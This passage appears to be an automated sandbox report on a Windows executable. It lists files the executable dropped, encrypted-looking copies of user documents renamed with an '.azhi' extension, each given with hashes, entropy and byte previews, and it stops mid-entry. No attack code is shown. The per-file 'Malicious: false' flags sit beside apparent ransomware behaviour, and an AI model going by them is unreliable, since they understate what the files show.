SHA-256:	56C428FAF1C3309D898070BCF623C7AEAA5ECCCD62A7B618088712B3F6D4A12A
SHA-512:	627DE874F88D65B3BF11D54271190AEDD381576F80D2C2F0D9FA5B5A38C03632A0D27B08DA446062AE30F84C8B4BF521BEA8E8A763423A42B398F09BA4E915A1
Malicious:	false
Preview:	AZTRJZ.e.b..OA...P..".....d&..cq....B.&......W.....R ....W.!>.%x.`.>1.dlJS..0.y.r(9......f...2.....j.....f:.A.6P.=t.le.@..........N.....2....P.m...Mq......t.....4%.d.c......t..gE..z:..R......%^P....(3'Lazqj..9f.........Ug....zv.....A1...b.......U......:.&^n.tU..'TD.p....+.....bN1:....\|H..{.W.^.M'O....g...j.YN....j..%........ZFF...p.2.e...1....Kp<..S...V..hR".,P.yjyg.b....C.3....mv~.x.~...Q..OG..>l...G[.\....&8..Q.XlyE5.....~S.....?.K..>SF.n....v`...y.....C...5;N.......'...\|;.."...N...=.5.l..J.....p...vZ.n.e..v ..........q..A=.G..B....7..i........0."....b...cl7R,......")x..n.+%...)!..a%As.......r-...px.l......&#.`. 8.!.t..>.f...~.v.t.B.........%.i.....&_c.3.n.....`...A}f.w6....Bw..Y.dnFvPQ4(819............w.....{.o..........{q.SU........r.['I.~..<..U..V.m$.....4....?K...yT...g.m:.P;..*;.L;P.T...m[x........\|....pR7OT.W.1Z.I...[A\|hM./.K./..G.\.=+7Fd."....~.U.x..6.Dq.]T...`..r6....9EIR..o.T.z.'.>D...^Je5...iT...x.G[\|/8"8....1..

C:\Users\user\Application Data\Microsoft\Windows\Recent\BPMLNOBVSB.jpg.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8522291528499215
Encrypted:	false
SSDEEP:	24:3OeBOfA+Pgc3txsMfjZAWZUFKitYbYqpuTCUKf/8VcUmKlyHNAQp/fgKOibD:3OsSA+PL2LVUbpfsVcUgHdpgKOwD
MD5:	53E1462FB19B3FB69744B2FA91D4C34B
SHA1:	31B568A449026E21659CA71278E2F16E572A61CF
SHA-256:	172F3D6DCA130DD4E134C628DDC8093F88F7303EB739E9A9CE36D5D4CBD06F72
SHA-512:	3C4ABF1A2D32B5B008538C75D565A12231644072CEC0E595ABDC138576C37A1FB752D5A0E50B0E56D4894B2F7DC0F75309A27AA40630429E06EDE1CB6EAD4651
Malicious:	false
Preview:	BPMLN.w...x...9X..n..0..A..5...z8.w.s......x..j.pA..-..o.T(.5.......V......_....m..{...t@....O.N'.n..l.1A.....,`X.g]..W.UZ.\.fZG.!..U.@7........!.....q\|n{1z\.d./.&.....'_N..Y.. '.WC...{.O..KX.&...o...#p...Vt.9^....J......,xX.%H]....y..o}.ja...u.......g.cE..x..2r.Cf..[?......C.9_..0.-.g3.&."....E..}.-....%.K.c...lM.".0.-.._e.MA.+.U@.+j.]o.......bK....Y.o..H..I.....8ew^../(.8.-.`..$.h.C.r.....0..8f.>....3....ct...c.s.s.ox..G..T...Zr#.\|.......q.S...@.Sq.62l"M..xb......7..B...v....}..9.4.w%....J>..a.).82)>.....a..u.5.p_`.+"5.G...`g.w........A..f\|...`.0J......N.Y....O.h.h^.v.....+wS...._..e8L.'e;.$C.#9.O..U..)..g.`h.3.\RFX...a.,BHj....(..........h....... .....:a..4[-.X...i...Z...vX-..y.&..@....5..v...9.7.T.9...Q.d....m.{.....S..-. 5vU...y.W..Hx\|..n+..#./)...E\1....i...C..j.x9..]]X...6.y.,...8....:55K.=....e.MN.c.hO(.:!.=q....y....v.m.<..`...m.a.R@........&]d..gQ).i.o%..%...a..]...9a..w..y......f.D.....I..}..[.......@....ar.Y...

C:\Users\user\Application Data\Microsoft\Windows\Recent\CULUOHOPZT.mp3.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866296426030788
Encrypted:	false
SSDEEP:	24:kyUYHl9B67Gr/2MnklJ6IrsGAiQX+18vKJNiWthr7EAd7nhoHXKfa9vYFObD:kybl9KGr/2BjrsGAJX68vKNtVxoP9QFI
MD5:	F61ADD2F1DB242FA8903B51D466BE83C
SHA1:	227DFD7A42888CBBD0133632C23E9134C74D13F0
SHA-256:	194D365F3C541C852A63B817760324B12A0D1BF056D420426009EC6AFDD3992F
SHA-512:	CDEF2AF6FCBD2C7A6E463FA8599EE9A0960A5FEBB1B1EE79717B4F202231B276A10FC7B3FE2B03E342F43A81749689E9F4DFF5A0AC48942BCE43C067907F50D0
Malicious:	false
Preview:	CULUO.4...wa.L5.r.B....)?...Y.....r .....P...h..9.N.1.G....qh.e]m......sG...iwl.._.........;j.7..6`V.~?..I....>o.T.`...8C...6~....;f.b,...U.......N..+s.P.<..:^P...8...-`.....o[.[.....9..Z....b...k...f\LK.Wf1)..on..~9.......;U.i...!.!i..3(.}.j..9.....v.CY..A...DGD.~t1].^Q..<..F...]...)e-...;Pk.mp.W.4B4.n.._w....q$.#.F.....+.C...O.XwO~...j.S.ii......_@.Q..C.U..c...c.:.y..._.k....L......l'M(.]...`.i....Mq.2....<:....&.O0...Q.U..xa.w...x...Y.$..#.#..H.a..T{.!...X......[&.MK_p.e.%0.6.(H\.'5....D.....2beN...J.^..pe.4..hA-.....u.....x(....4..M.\L{...7J...V#9..yeH.DP...\|.`f.x$Z...L...0......_.n......,.{0.s.8cM[...1...0>..U.Q.....:r.4U..%z...........:....}......i+O<...j...`.`l..R.$<0...]..z^......x.. .u\|.....;`..s..,...2z..1$......R...)..o^.^.9^E7k...yRC..AR2q1.iL...P.......".^D.s=.z~.....Z.Pp.*.p..aZ.</[c#0./K.<."T..@.9ZU..[CS.<...`........]..yKF.2..I.R.U.....!.#,....,...2.-...N{..C....i.-{.t.l u9HZ.u.C..3 .0.W....r.p!%.E-.b.1.j&r2. .}.{.

C:\Users\user\Application Data\Microsoft\Windows\Recent\DQOFHVHTMG.jpg.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863910323716267
Encrypted:	false
SSDEEP:	24:q4g1Y4xiuMMGaSaDV+DF1fnCaT9aUEc2ab8ORJBB7+k42Lej47wbD:q4g1HxiZwV+DF1PCaT9Nr8Oz+Xj47qD
MD5:	DD8EDBE25491DC9333CDCCD644C6DD4D
SHA1:	83548F21DD62C785E305F90DAD29543DD7E4CC24
SHA-256:	007A2F0D21DA613F954214B1B2A6205BA2354F768EE83F65A75818B16F23F06B
SHA-512:	96A44904C1AB9AA50E48C1E5F584AA1B85F7FE7B91C723BFFBFC13E469C9FDF58A7CA73504B254A82DFF460AAD2FF77F5AC1440176F9CA7FB19DE8BDF6A06663
Malicious:	false
Preview:	DQOFH.R.P...i...t.\|.w..nfd'../..\......!..;..~.x....==<e.}<..8"..ef...$h....<...Y..^C..".K0...k.k5p\|..c.4o.B....._^......n`.....(8..Z.'}..6.r.%T...g4./T.EL..T8........L.....2..'t.W.=^[.....kw.J...m........ 8g.\|.N...9B....F6.;<u..#%...%...X.Yk.......Q......':Z8.D...aEc!.0..S.... I.<jT_........A...{..G.b...K...hv..'.H...Be.\..\1.d...w...K.SC.A../...O .L.......3....%.Q...3...d..H.2.....R.t..Jxy..H..{.O.HMvn..o..m&.:+.qB\|...J..Z.1...n.:']...M?@ ..+..#.3.UP.......p.W.P.....A.R...O....z.r..f9.....\|.......B...3k..N...o..E.K.....1.[..8.c...5t.y.S).9.......C..'..`jL+....C..D...S.;..\|sY.ita.(...z92....yg.z(....v../.;c...r......)...z...Uj..wHV.7.s.%.....V..6[:.'O.n..q0CF..Yn.}f.....D+.c6A\|B...x?.P....6}_...j.EY......y.4T../{.g.......#.m..1..5G..er.g8S...4.!Z.j.GK.)z..........3.2.`.....2+DD.$..;...C.Z....``.Q...M..5.....u.... ..5\....$.0o......_....N..a..;.b..,........kw.;,.#59.....G..w.X..4.f=D./...7.&...X..R....d../a...X..q.^......(,H{&.!...mU.H.4L.h,

C:\Users\user\Application Data\Microsoft\Windows\Recent\DQOFHVHTMG.xlsx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835788445492929
Encrypted:	false
SSDEEP:	24:DncjoOh4zxdX6cIlIuGS5h5QId2R++IZTsUbXw7Z43SEddx5BwF7JhnbD:bcEOSgcml5kjM+IZQD7Z43NddT6pJ9D
MD5:	2AFCD103FBF0F376CA7C92A806C500F7
SHA1:	389ED3A223BB09925D88F552219E360AEFD794E8
SHA-256:	ED79DA7EF2364F395F7F998A268EDF4D95ABE6DD0C84023A27D48C2BFA698832
SHA-512:	6373A52DAD109CC3528273DD4E123B34BD13D7734BB22C35EF494A869078B158EC08D08A629CCD2E3E53BC370584DCF756CF78565CC98F50B9ED3B9E34E4FD75
Malicious:	false
Preview:	DQOFHL9.F.+.\~[...&.H..V.CoJ.p;F.x.).pjJ...4........d..GAl....6.....L../....'...t.......3ZH.J.h.WH.I[..]....P.....T<......jm....D+....=..,..&..?.o.,.Hwz.U.......@r..m"...;....2....6.Z....X ..q\|U....K}C#au.t.u...B.I......j.1\.n....B....$...!.T.....e.F...F\|U..7.g..7vu..X..F...@m..P......(..!@..g$...s.f0..d..Z..<....E....W...T.(..:..:..~0N.Fi..<....e4>..U.........#..\..99....^..<.M&.0i...b.}o..k_..v.dvc.5.u....<........ZCW..c}k.=... .p.B$.S"}.a..6"A.q^.......K+.x.J.=7...t.R.O...._d..@.+z$..[QfG.{k.A....q...._B....M.,.+a....^`....o.\...kB>.!g;.+$U4...3.E-..&.6..pJ..%..s..z.-7U.......m.z.~......i.Dr1....;p..+..I.+....b{...1(s....d>U#...Po9....M9~37.......b.\(....T.....,._....x..B..GW.A.^....G.......`f.-<....s.I....MC...CI.l.dZ&V?..)..z......N+%.._S.:G...x.....?....N....t4.....A...CW...Y..5.....l..c. nT.D...^..b....<.....R.7\|...{...^.2X'y......;..i9.OG....?+.....OR.X!.......s..J....D.[....;,..#.pG.X.,.....=..,).!..if45..Z.$v1..G../s..'I;......'E.=

C:\Users\user\Application Data\Microsoft\Windows\Recent\DUUDTUBZFW.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8561066986231065
Encrypted:	false
SSDEEP:	24:Vo+obob+RcLPzlUce/ZLD9OK7BndLydiEfMhvwhfQNybD:Vo+oboyew88oMhvfgD
MD5:	34C0EEC158938132C5D5E6E5DE45094E
SHA1:	D8AC9F69C1B8F467592926444F750C221A8255C3
SHA-256:	9E53F2EB04531D5CEA8BF6AF5722AE3B9B9C72BFB892D844D88983AA3BC3DE3A
SHA-512:	947C93495FABF6A422CA1FC8746200284F20D85E582FF0120A380ACDB5499107DEFAC247C3394415D24A8B2F02276A1F2A2E26C5FB6306387483ED6AF74E9AB6
Malicious:	false
Preview:	DUUDT.....i......[\...w+..^....a..{.O..t..t..{.4.....eU.^potb.#..%#ZZ...?.N...`..NLz.%...H.n......m.&T.5...C..a...S.,/T.~[.B...#..\.......O...v...5....9T..}...fm..j..2..Xa[.#%......5'..-6E.........vJ)YW....Q...>F..D$?xs...L...o.K...TC....u6u..=.R.....pa9#..!.P.v.....>.....vb.......>.."M.O.......;(.~.........?..q...s.nBn..*.-$.5K..k.-.Tc.`h..T.n\|.........i,..D=O.T.$.S.....:.'..Q......B9......%"....D..Q.....D1...\|..u(..6u..\|o.=i.kc.Q..b~x7C.../.......;...Vl...:..3g.l).K.9.h.H.!G..m-..-..t..n....d.k1.R.^.L0.U."+.W.q.aS../..h".........3vt.a3Y.`...../\|.Sl.;?..y.j...8Mk...G...x..#..GU.f3......rDve~e=.~..=_..;..8..Z...r3cv..\..+..M...@...C....~.]...GA..C.$5.....F..._.(.[w...>....x/Z`j]..P.1[V.:.d.... ..v9bRoqb.NB;:/.9............$_..%..K.).s...t.`...V..5h.E{v..W....R....lgi......>D....0.D8.i..@...w.......7..K...g..k...n...v..\..;..<k.1..H.e.'.eH....m.#..Ju...&l.D..M..A..`.i....q_...ud.....?...#.Z.J..@...D.R...Jv.Fw/.f&..3...c...H..V(.Zb(>JR.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\ERWQDBYZVW.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856779511545634
Encrypted:	false
SSDEEP:	24:4fVl8BfsvBG8UMM3bq5eGlDV24vHDIt1B92h7/ji2Cc84DnMFlwnbD:4tlkfss8UB3G5ekV2Ect1Bu7/uDcZDM8
MD5:	FC7E617F7A1A4B1B26943F83D5E05545
SHA1:	24DA6D8E7BB0475FFF88700DE7849368E8C206F4
SHA-256:	144B380D204410DA71673FF1542182D23F9AFD6FB1E94B5D55DEFBB20CCA96C9
SHA-512:	B5033D7BC10E827FCDD8DB7E1EF21991DBD106DB6EC765629D21CD8FE11D734B032C64B77AE4E58186B49410B2FD7AD74B9EDACE5608AD891DB11F99D01197A6
Malicious:	false
Preview:	ERWQD.a..'.aY.mc..._.....\qF.Gi....}......k...+.DSD.\_.]...;...../?Y.....>.;.<.akd..'q.@......!..X.Hn7..o..pm....S.7A...K...#...W...H8...............w.......]]...4....rf0.p..8..Z.,....R.s..05Y..\|.6@..`....F9x'..."..6..^r.S....7..k.nG...u(...n..Y ..H..oWf."M.......\|.rc..C.x....P.-..z._.K.w+..HS#..c.{...xc..."....ei.wq.....T....Z..E..u.......%i..#..j.....mKS.b.wK\|5S_......u....%eB.q...$..S(...t...K...l....5j.7f...>...I....!.4..g..g..q;r...Ia/.27..i..\|sv.^x.`l.:x+.....X...x........B....+.....p..s...&G.....iJ.L,.6.!.r}).8;.h.P.gK.......R..!.W..e....P....Q...h0..;..B.a...h..).......\.</^@...F-w.(<<....38F?{.e.MM`Z..... 5.6....R7...F...i....yO.'....",...f.Y......7/....^9.oyx...G^...2..7......-....e....I.V....1. f..N........ .sX..-d...M.....g....N....r.F...c.j....~NH.8..+..0..W_lq....NW.kO..... H.X..&.v.....'.?.2Vo.....UPr..}Z.f.....d..wc.}7.=....+@.m..`..h...\n.S.F"....$tY(...k.O....$X'!..ts......D.e..>.......L..0o.t..4..B$&.

C:\Users\user\Application Data\Microsoft\Windows\Recent\FAAGWHBVUU.pdf.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863366651005513
Encrypted:	false
SSDEEP:	24:b4RuVWThng+4yHT+my9t0rVj1ihE6i/u/z/0Ps7tG6ekF9bD:0kytg+4yHT44Cz/0y7RrD
MD5:	4E75742D1339FB0042CCFADDD0F5CE6C
SHA1:	3123FF761B206E155A7B7C864AE484B5C7A36C31
SHA-256:	CAD9C5F51BD6E00B1AD23017494A7783E7D26C02A8D4290EF3ED257192744472
SHA-512:	1A1937363C2786DD283C840363D121B85C4B6B3EAB69192E8BAA49846D5E497DC1C01B1E36C1CF6CD86590D8DBFE738E80DA5B580B1CE0E27586F0FF3CA715C3
Malicious:	false
Preview:	FAAGWlW.P..[.L.aa..!...Q..&.p..L`.....Z^..0..y..-.1.....v%..t...p..}.E....?..'..en........xbso_..x.{..W.I.....-.s.o..!...S.tM.W.&NZH&...H.u...'}..QM..."....f>.gA.7..0......}..O.G0..EF...C.;g.t...@w.g.L4T.<..&.J...7x;\.zh.\|w.Y{.,........(b..$..D<z../.J..<k.(%...R.m.kO....O9.........^.....~S............@i(o...[.....,...xZ.{.q.]....v...t.Yo.X&..l.......V5V....{(.."2)......h.@@.H...Q..5.{..8j...t..so.]=.,...[,P....a.jo..D...KA..V.......P.=.B.]v.Q..x....,q..o.\..W.s....Q.+.b....GeK~b^mA...]...D4.].i.`Xr.2t.#1...............IW.V...b3.Z[.yH......(......`....JO>}.U....=,...V........8.<...Z......h.....9...KA...."..~(..>.V.../....Z9l:I..)....bH3...C...-XI.9R....>s..,..Y..i^...f.{..j.u.qr.C}..W2....Y..[..`..}]....H...n....F.A^.....!.#....Ys..a....q..PPO.......?......>S...G...r..Z..7.J.JW..N.i..".5.....M.9).......p.....o.....%....TR.........Y...,.'n...1#..~.oM".5.\....7l.s?..O.~.)z.'......K..N.=.8..6.Z....../Q5.....t.q.lX..4.3z&...Y..{n.

C:\Users\user\Application Data\Microsoft\Windows\Recent\FENIVHOIKN.docx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835317277202313
Encrypted:	false
SSDEEP:	24:23T2BxGrlKWmxrBk5260R1fUUNhYDPo71NPzxGXrL4bD:NBK0JTj60RRXT0ofIXrLiD
MD5:	D23E717491071BEB22177BCF6DF112CD
SHA1:	612BBDFAE8E003982399B126750D4550B5B12E95
SHA-256:	B1E59B5C80DAF297C7F5E7DEE6E4C7F4CAA093BD16E86FD080C2384C93AA0B69
SHA-512:	D0D8F09120C0AE680F784E99A1C3135EC92FAA95B0EF404D3C23F0E05E29AA1163DF04E71F046C908C0DC268C91250CB61AD04AC9DD33E47E6187184EE974965
Malicious:	false
Preview:	FENIV...b.r:F....G..M..R.....~......BHGzm.?.u.8.X-X'..-...{.".K..O.&..;5.x.F.!...u.L..0v)[(.v,..B.f....O6..(5.LgTTk].......... PNI8t.Z.<5V..?O.8.}h.{.!..s...bQ_-9n..$..mV.....#".q.API0..0.5.^....R#.w./)..n....>.t...-c,......[.o..Y...I.=oa.q..S..\|w.k...O.....gGG.....,...h....:J'...$.sA..[.+.......fj....=.....S....!.."....%...E.^]ay......{...>..Q.K..U}.,.......U...Z{-..R,^......{B...Z.4=]T.$.!;X........b.i..;....x:;...R.g.....5..~..'...}.[;.//.Z...T..+t&.}.r..ljU...<.:6}..X. .t.E.....k.+..#..?`U.b,Zs=..v.7..d.f..@x.$7$.qM!..:....?.=..+r....t...8z.,......U.....m...8.+........ns.i*[..x.=....1..N....v.."............Y.....7.].,xIO..._'..PS.$j]........}[........}.......e.U,ew..y.0.#B3.~U..m..2......MD..J=.8R...x".F.5.-M..V..yk:.WN..._......#..p.X....:.4M2s.<U7l..:....z.n.Tt.N...uO.....XpU.x6.D.b..t...;.....;...h..8..2.)Uw`!.V$......,.....r.i...}'.z..]Ls.;y..Fr.]X-PZq.Xt..N8..?.E`.Y6..!.%\|\|........v.W.UL.!".`..WYJE.h~.9PG<...N.&.

C:\Users\user\Application Data\Microsoft\Windows\Recent\FENIVHOIKN.mp3.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861535550138427
Encrypted:	false
SSDEEP:	24:HmI4oWNd4NQSxi1hNW1yzjeDnYCEP9bDxHfUJiIE7pshArnL87ebebD:HmrfNd4Lxi568jeDnYC0bFN7/nA7ebcD
MD5:	B86FAFC9DAC6C7F209C30E0237AFEA40
SHA1:	84F9FAF99B51A3D75680A2124E7A322B1451FF52
SHA-256:	BBA120DE73FC137830FB6569F2F22BC4B01E2D7C2DCCF2D7420A14968F2A9DAB
SHA-512:	6F97B08B72FE0DE81AA4A0D7BC3503E2FED3F9B97018ED976301CF6C635C2ACC64959754E0471E47C1C7DCFC34D7BB20AE5BA360AEAB4F24224A379F4A768D1C
Malicious:	false
Preview:	FENIV`....y.....H..D..TQ...O..........m..o%.;.cP.&...\|.."...M)S.rn......5..\.N.!5.pE...J...l...q.....[`..\|..vu.6....G..z......Pne..........<5:.w....Kz?.......L...5../z.]'..S...sz..~.e[.0..V....%I6...\L.R..c..........m".oUz........w.5...\|9Q;>.>Z....n......U}...7...kf......XZ...A..wxB(..<pX....l.Gf!.2.N.s..I....`.\|..O........+M2......g....c.j..A..]M....v..../5Z%D.-.0.8..M.4..C.)&..O..=../p.F.....w..<#EDeS.]h'...$..\|q..#...iuN..).M.gO. k..c.$....=....X}..T...l.{..#.,..73.'5B..\|...D$:...I3..1.'.o.....u...]o...H...c.I........%?..-....M;5i.P...\.\|..5?@X...(T.;.>.R.-.dm.......<..5.?.._np..vr..Z6+R..7..i...._...r.....W/.)..h....)5.$"r.V3".......k2...YQ...\|N.].S..7Z..1. ...`.9}..._X...^.....h...........Y.T....M...._s0.....\|#..e.o.@.u..[...9.....{P0...X..;..S.$R.Jv..q.....C.V..uY.."#O....1.`L.(.W....Y....F.t.s_M..ZH.!....U..D..V.b..-.t`.Z......<+^.!....s.o(....(d^.n..a..;..m.3/..A..m.........%.$?O@..&.p........6.5...#....X..%.xu\....Z........=

C:\Users\user\Application Data\Microsoft\Windows\Recent\FENIVHOIKN.xlsx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863553195322276
Encrypted:	false
SSDEEP:	24:uEBLFRVUVnygbXlum5hLBuizV/IfWv9uRKmQkGvH/x+71RgAT50NivC57U3BDcbD:uEBLFRSVnDbXlum5NBDecuTuhC1XSOMD
MD5:	DCB9C22C29AB4D403D8A4B43E4ADFEB6
SHA1:	F4EDC16D409309DD957D0C8DED467454184A0122
SHA-256:	E03EDEC684E7184224154F8A2419FAAB3529B1BFD7DAC9C64B20AD2092BD60E8
SHA-512:	F3535FA3EE3EB334ED698AD9157E7C6D26E1AB2073451704334F7E3E48DAFB3C763DCCBC3DA1B801BF2372C38E903CEEA6CC0DCF91864F67A82E7D327A1C69B5
Malicious:	false
Preview:	FENIV..pIt..y....e..m6...a.U..2my....b.g........X..`...70c..CE....{...egJ.l.R=...."7b...x.iG.B.$.yE.3..n../..pq......s..`.B...T..$r.U...6.Eo0t[...Q....f......O.)....\.r..r<..#...V!.,z..4Q..^c.. ;.5...Q.........-..E...CuV..P.i.6..A.;h..C..Q<..=.gV..vq)f..D...s.jo.Q\|y..e...X..g.n....l7?N{..u.AW..#....n5.........L.S....e....L.L.T..3...j......w..f.`^.A....~...I6.>.....;...M..%.O..d..:W........V.]7...4.Jl<z4.g..?[...F..c.n...T.....O.<.......a`!P./6.BD.g....L6...<...<O.!..U..V.7:.......S..COc..V.Q.....[(...X].`..*?..Mxm:...Y..4b.eA.....Nw).K.}.0y.[6...`d.A... .h...-.!+{+._?..O...s...=o...K.X.}b.....S..\...i_8..]_..S..J`.}:....[.d..9r'..IX..Y...[.z........~2\|.....Zt.....@...:p.....Pw..o....mu..."..\...4n..@..........Kv~....\|..M'....!.}Ybo.....Z#..\|...e.....aGC....? ".#.D.~H..h....3.R]....[...h.H.s...U.kH].42..8......M~@...pua...H.K.J.C........"..../.b.w....]..!{.t-:&-.<..=. \....c.CSe....d._..kv...Qm..........D6......'{"p.+Gp..U.U......=...c.

C:\Users\user\Application Data\Microsoft\Windows\Recent\HTAGVDFUIE.mp3.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83931157689009
Encrypted:	false
SSDEEP:	24:4/Ai0hWDMBsjw06yrY2tP+q2hxH3YwNJQSMhfUAm05bD:uAi0hV06yrY2tP+q2hxXshbD
MD5:	0BDAA43CE6FC62774778DD61668906AB
SHA1:	B726E816694E41E536B640623C830FC89B4E73A5
SHA-256:	7E47A6D961BDE75532BA941BFF93F81022BA7015A5CFB629163AC7103123E228
SHA-512:	B531B93C85E44D90F3E7A1D6770ACBA18217A58069942DD1D080A0D8DF3DD26AD9140A9583B53D81F8EB09A0D3D564F92A6762DA2F9B73E6E80BA7B6AD2194A2
Malicious:	false
Preview:	HTAGV.....\|.._...MD...7...u.s.kO......S).D0.S.<..-.H.\|.....%4.ll..(...9....Yu..i.....\lc..Sb...~#..J.N.F..1.R.PFBq..@..c.iR8....4..(,.!(z3...R.B..v._.(................. ...9...,.:...e....R...>..a5P)<.-.C?..0.t4".d/.%..l...~...F1TX...FdU.....?=...r.....G..Q.S......#.7.\|.g..k.um....V.......~@..\|.k1..A..yt..}tV.pRA......A..?......l"gs=.N..;.e.`..r_C.W.$.6.....gt.4o~b..J.p.5.eJ...jik..$.................m..J4........jX1..L.A...g.......=n"W.e.....t..(9E..>mKe.#db..i......5..\-.....H_.....U...=....FD*.B.s..6.....w..^....G.3.;1.$,.e.....j..yK$%.(XK.../".{z..l. .[.+z..O...+.p...C.......H..........GM.o'...D..-...4.d..p.5. W..............i".Y..?..BG.......<t.P.U.e.3V..M.H.....]....XY9.}.~&....CY^<;?.x"f...l[.....5HoX(P..C,..5'.......!_@.$.{&.>f=.=....VRg...SS.r.\|..7H...D.K.zA....%Ih1.)...jy...'A..j..B...e..._!c.C.U...Ag..?@&1_P.e._.o......N...}.?.Y.....Xv.b...F..62...qA.{l.3....lLt...H.-....3.X.../4.{.\h..?.E.D.u..86h...l...~xv..U.!5.7./...I.

C:\Users\user\Application Data\Microsoft\Windows\Recent\HTAGVDFUIE.pdf.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8411468675185905
Encrypted:	false
SSDEEP:	24:X606pyoTNwM/IcA4rnvf4XFdwlHjA/XP1n7f9RnGUbD:XEpwZc3sFdwlc/XP1n73G+D
MD5:	8412CC3691FC0E967DC6578A5837364A
SHA1:	8696E3D28E1FB13E0AB2CF03EBC571E799662DC3
SHA-256:	0D8F40ED76CD8FC3B115FE17100C01EF9C77E1DD987DAF98541D016BD436380A
SHA-512:	C3300886445713B14E6DA553E9F19C97AB8DA8670515ADE9AE05C165F5528CEBF9577056A41ECD6364B195D95021FB0777B999EDD96381EC252A1D1C6CBB6EF2
Malicious:	false
Preview:	HTAGVB_p.M.X"k]..n.kD.~.!..5....R.o.R]....#e...0..w..!..bM..!V...WI. .{...)F?..Q.j...zX.H.s.....q.F.A.].....&..3..1)..A.j....nL..8....?..Z...L..J.x..[.,."..?"...+.uf..f..Kh?r..s...R.D7j0\|.x....ZUqDS~Y,.[...k.....l..^..B...`m..Z..'G...:um,..O..]...J.\.s7`...F.ws6C..>H..q...g.YD....'.i==s..7[...N.....7"..b$...H..M9....tV1.t.U:.d(...W.xi.&..)W...z..c..A.9.....#.u^...T..7..BG..gS..<c....[$....w....aZ+..1c.....w...T.J..* ...5..JPbV...nl.....n.B..@y..iYP.KT-...D..VWp.r....7`.HG.F..'.~.X....j.....h.....~Mb....W.DVT..(...v..d%..S.=n;r...3..\|...$...B..=T.O...&FIY.]6...8...Is.Y/........Q... F.....mp.J.l.....j.o.........M. .)\.,.B...@..r0....%?&...\|A.Z>..O2..\|...E..m.[..@..9G.(...q..n.k.......X>..h.PG.c..#%]S...y=..c..T4.}.V..M..Qs...j0.U.^...J.&...tD".}4.6c...;2.A5.X........I......-..E....zRI..}..I.k.m.J..PX.M0.......K2.TW>E.(.^,......c..X..-@..Q\|^[0."..N...4BE3........De.1......`.ev$=.]@..I......tp....{.....*.2.."...>`{..`.l...\..'-.C.Oeob-.w....L.

C:\Users\user\Application Data\Microsoft\Windows\Recent\HTAGVDFUIE.xlsx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853134500293711
Encrypted:	false
SSDEEP:	24:jP/SK7udhhnq9XbhpzLie+dRrixyamAlat4+jJw56sPhim6PencjEowcmWbD:jiKKdHqxrx+dRrQysatp1w5lPwB4cQoB
MD5:	F9012CDE861D82CD32C0B494DBA41BF4
SHA1:	1B2D6C2A2F6F17A65FE87D712A2D34246BCB63AE
SHA-256:	F4BF67A8BE54DF9F81B0E348A9F67CD67807421752CED0CD6287EFED72072591
SHA-512:	F1F50157FD58026EB5CF5235FE133FAACE2F6140CA653FDA035E688DE71B0255343CB30A9E6E059FF4E32EA340DEEF897DD986F4EF6ACF7730824B081701BD5C
Malicious:	false
Preview:	HTAGV3O..Y.q..Z.R..>,.9......J<.@..Z-....Z..h...]."....2...j.(.l.. ..3...mBpU.....i..F+5.Mq...........@\..~.r#...G..P...b.4TP.9....w[5s.@....y.7..8a..I..g..=....j..G...;$.4......l......q..2#I..5.,0..........jg}.N.q..m.k.z:....R...../y...8.g}4~....{...T-......u;..r.?....6,..4..2.>..$... ..;.rj..D..IS. .h.pv.>X...9.mG4...R....fv...[...b.E..k.w....FtqE...v..{.c.,d...c...G.D..V.....8~ N..#3..(.9......O.6fKiC.w..\g.~...MH.<..._S.9.YA.FB. .....>=....J.#.C..;}9.6O.........gJ..u...........)+.4...D.9<..U8...g.m.V.....r...w...I>"..2.B...F....x..j.._.!........M.I......+. C...?.uF.j......_....(.l....@{....jsU.......>.U......UH..W^>..;..2.C.<7\|.g..x......T..Q.{.....K.b..Q(XX...J"...;..U..B#.j.'Y.y%.8tV(GM<I%*0.=.9d.^YY!.c..m..ILy\|g...n...^....iUn.m.P....t..C.........!M...Q../...k.a..7;:....#8i..zD..[..-L..i..y..Q.E....~....h....8.;Ylw...HW.mI..x!......E/.......R.a...(...q.z..i[..n. +(.~.."..Q../..Z.O.;.I.q.<...\.B....p............Z....%...]....'....

C:\Users\user\Application Data\Microsoft\Windows\Recent\IKCRSXYNJM.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8522530106704265
Encrypted:	false
